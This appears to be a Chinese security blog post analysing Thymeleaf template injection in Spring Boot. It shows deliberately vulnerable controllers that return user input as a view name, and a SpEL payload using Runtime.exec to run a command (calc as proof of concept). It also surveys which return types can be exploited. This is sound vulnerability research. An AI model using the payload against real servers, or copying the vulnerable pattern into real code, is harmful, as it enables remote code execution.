前言

今天在 paper.seebug.org 上面看到的文章,以前没关注过这个点,现在看一看。


模板注入

写一个简单的 SprintBoot 程序,记得要加上 Thymeleaf 的依赖:

@Controller
public class MainController {
    @GetMapping("/")
    public String index(@RequestParam(value = "page")String page) {
        return page;
    }
}

然后调试跟一下,SpringBoot 通过反射调用控制器函数构造一个 ModelAndView 对象,然后经过 processDispatchResult、render、view.render 的调用,来到 renderFragment:

if (!viewTemplateName.contains("::")) {
    // No fragment specified at the template name

    templateName = viewTemplateName;
    markupSelectors = null;

} else {
    // Template name contains a fragment name, so we should parse it as such

    final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

    final FragmentExpression fragmentExpression;
    try {
        // By parsing it as a standard expression, we might profit from the expression cache
        fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
    } catch (final TemplateProcessingException e) {
        throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}

如果返回值中包含 :: 字符,就代表这个模板名是一个引用,会对模板名进行一次表达式解析,payload 类似 Spel 表达式:

${T(java.lang.Runtime).getRuntime().exec("calc")}::index

表达式语法可以看这里,简单来说就是用变量表达式在代码表达式中执行 Spel 表达式。

除了这种返回类型为 String 的写法,按照参考文章,还有其他写法,比如 void:

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}

阅读文档,可以得知此时会将请求 URI 作为模块名,所以也可以进行表达式注入。

至于其他返回类型,View 或许也是可以的,不过就太罕见了。

其他返回类型的情况

@ResponseBody

使用方式看这里,在加上了这个注解的情况下,SpringBoot 会将返回值处理成 JSON 而不会将其当作模板。

比如返回一个 Map:

@Controller
@SuppressWarnings({"rawtypes", "unchecked"})
public class MainController {
    @GetMapping("/")
    @ResponseBody
    public Map index(@RequestParam(value = "page")String page) {
        Map map = new HashMap();
        map.put("page", page);
        return map;
    }
}

可以看到返回的类型为 application/json。

HttpEntity\,ResponseEntity\

光看名字完全看不懂的,文档上说 ResponseEntity 和 @ResponseBody 类似,不过还可以设置 HTTP 状态码和头:

@GetMapping("/")
public ResponseEntity<String> index(@RequestParam(value = "page")String page) {
    String body = "Just a test.";
    String name = "Twings";
    return ResponseEntity.ok().header("name", name).body(body);
}

HttpEntity 跟 ResponseEntity 相似,可以设置头:

@RequestMapping("/")
public HttpEntity index(HttpEntity<String> requestEntity) {
    HttpHeaders headers = new HttpHeaders();
    headers.add("name", "Twings");
    return new HttpEntity(requestEntity.getBody(), headers);
}

两种返回类型同样都不会涉及模板操作。

HttpHeaders

只返回头,没有响应体:

@RequestMapping("/")
public HttpHeaders index() {
    HttpHeaders headers = new HttpHeaders();
    headers.add("name", "Twings");
    return headers;
}

View

理论上可以返回一个 ThymeleafView 从而实现模板注入,但是要给这个 ThymeleafView 设置好 ApplicationContext、Locate 等数据,而 locate 的 setter 是 protected,所以写起来会很奇怪:

public class MainController {
    @Autowired
    ApplicationContext context;

    @RequestMapping("/")
    public View index() throws Exception {
        ContentNegotiationManager contentNegotiationManager = new ContentNegotiationManager();
        SpringTemplateEngine springTemplateEngine = new SpringTemplateEngine();
        ThymeleafViewResolver thymeleafViewResolver = new ThymeleafViewResolver();
        thymeleafViewResolver.setApplicationContext(context);
        thymeleafViewResolver.setTemplateEngine(springTemplateEngine);
        ContentNegotiatingViewResolver contentNegotiatingViewResolver = new ContentNegotiatingViewResolver();
        contentNegotiatingViewResolver.setContentNegotiationManager(contentNegotiationManager);
        List<ViewResolver> list = new ArrayList<>();
        list.add(thymeleafViewResolver);
        contentNegotiatingViewResolver.setViewResolvers(list);
        String exp = "${T(java.lang.Runtime).getRuntime().exec(\"calc\")}::x";
        ThymeleafView view = (ThymeleafView) contentNegotiatingViewResolver.resolveViewName("index", new Locale("zh_cn"));
        if (view != null) {
            view.setTemplateName(exp);
        }
        return view;
    }
}

太怪异了。

Map、Model

无法利用,因为这两种返回类型的数据会放入 model 中,而构造出来的 view 与 model 无关,他们无法影响模板名。

模板名从 request 中构造。

@ModelAttribute

同上。

ModelAndView

可以:

@RequestMapping("/")
public ModelAndView index() {
    ModelAndView modelAndView = new ModelAndView();
    String exp = "${T(java.lang.Runtime).getRuntime().exec(\"calc\")}::x";
    modelAndView.setViewName(exp);
    return modelAndView;
}

DeferredResult、Callable、ListenableFuture、CompletionStage、CompletableFuture

用于异步操作,类似:

@RequestMapping("/")
public DeferredResult<String> quotes() {
    DeferredResult<String> deferredResult = new DeferredResult<String>();
    deferredResult.onTimeout(new Runnable() {
        @Override
        public void run() {
            String exp = "${T(java.lang.Runtime).getRuntime().exec(\"calc\")}::x";
            deferredResult.setResult(exp);
        }
    });
    return deferredResult;
}

ResponseBodyEmitter、SseEmitter、StreamingResponseBody

看起来是直接写入响应体的,无法使用。

ReactiveAdapterRegistry

跟 DeferredResult,似乎是写入相应流的,无法使用。

other return value

似乎是影响 model,无法使用。


Orz


Web Java Spring

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

XStream 反序列化漏洞
Java RASP 防护技术